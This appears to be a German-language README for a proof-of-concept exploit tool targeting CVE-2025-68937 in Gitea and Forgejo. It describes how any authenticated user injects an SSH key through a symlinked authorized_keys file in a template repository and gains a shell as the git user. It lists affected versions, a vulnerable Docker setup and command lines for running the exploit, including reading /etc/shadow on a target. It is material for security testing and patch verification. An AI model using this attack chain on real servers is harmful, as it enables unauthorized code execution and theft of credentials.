
Automatisierter PoC-Exploit für CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Jeder authentifizierte Benutzer kann eine Shell als Git-Dienstbenutzer erhalten.
Automatisierter Proof-of-Concept für CVE-2025-68937: Directory-Traversal über Symlink-Auflösung bei der Template-Repository-Verarbeitung in Gitea und Forgejo, was zu Remote-Codeausführung führt.
Jeder authentifizierte Benutzer (kein Admin erforderlich) kann eine Shell als git-Dienstbenutzer erhalten.
Beim Erzeugen eines neuen Repositories aus einem Template kopieren Gitea/Forgejo Templatedateien und expandieren Variablen wie ${REPO_DESCRIPTION} in Dateien, die in .gitea/template aufgelistet sind. Dieser Prozess folgt symbolischen Links ohne Validierung, sodass ein Angreifer beliebige Dateien auf dem Server lesen und beschreiben kann.
| Detail | Wert |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 Kritisch |
| CWE | CWE-61 (UNIX Symbolic Link Following) |
| Auth erforderlich | Ja (beliebiger Benutzer) |
| Admin erforderlich | Nein |
| Software | Betroffen | Behoben |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION}, eine Template-Variable, die Gitea expandiert.gitea/template, das authorized_keys für die Variablenexpansion auflistetauthorized_keys, der auf die echte authorized_keys-Datei des Git-Benutzers zeigtauthorized_keys-Datei (die unseren registrierten Schlüssel mit ${REPO_DESCRIPTION} im Kommentar enthält), expandiert die Variable zur Beschreibung des untergeordneten Repositories (unser SSH-Schlüssel) und schreibt das Ergebnis über den Symlink zurückgit an mit dem injizierten Schlüssel (ohne command=-Einschränkung)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
Starten Sie eine verwundbare Instanz:
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000 und schließen Sie den Installationsassistenten ab (SQLite funktioniert einwandfrei)python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit und ssh-keygen im PATHDieses Tool dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen besitzen. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
| Flag | Standard | Beschreibung |
|---|
-u, --url | erforderlich | Basis-URL von Gitea/Forgejo |
-U, --user | erforderlich | Benutzername |
-P, --password | erforderlich | Passwort |
--git-home | /data/git | Home-Verzeichnis des Git-Benutzers auf dem Zielsystem |
--ssh-host | aus --url | SSH-Host, mit dem verbunden wird |
--ssh-port | 22 | SSH-Port von Gitea |
--timeout | 30 | Sekunden, die auf SSH gewartet wird |
--command | interaktiv | Befehl, der nach dem Erhalt der Shell ausgeführt wird |
--cleanup | - | Exploit-Artefakte entfernen |